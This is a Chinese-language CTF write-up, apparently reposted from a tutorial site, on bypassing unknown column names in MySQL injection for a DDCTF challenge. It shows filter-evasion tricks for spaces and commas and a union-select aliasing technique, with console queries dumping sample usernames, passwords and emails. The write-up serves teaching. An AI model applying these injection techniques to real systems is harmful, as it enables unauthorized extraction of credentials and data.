Mysql如何巧妙的绕过未知字段名详解

前言

本文介绍的是DDCTF第五题，绕过未知字段名的技巧，这里拿本机来操作了下，思路很棒也很清晰，分享给大家，下面来看看详细的介绍：

实现思路

题目过滤空格和逗号，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括号都可以绕过，逗号使用join绕过；

存放flag的字段名未知，information_schema.columns也将表名的hex过滤了，即获取不到字段名；这时可以利用联合查询，过程如下：

思想就是获取flag，让其在已知字段名下出现；

示例代码：

mysql/' target='_blank'>mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) MySQL> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2  | 3  | 4   |+---+-------+----------+-------------+| 1 | 2  | 3  | 4   || 1 | admin | admin888 | 110@110.com || 2 | test | test123 | 119@119.com || 3 | cs | cs123 | 120@120.com |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4   |+-------------+| 4   || 110@110.com || 119@119.com || 120@120.com |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4   |+-------------+| 120@120.com |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id   | username | password | email  |+-------------+----------+----------+-------------+| 1   | admin | admin888 | 110@110.com || 120@120.com | 1  | 1  | 1   |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对脚本之家的支持。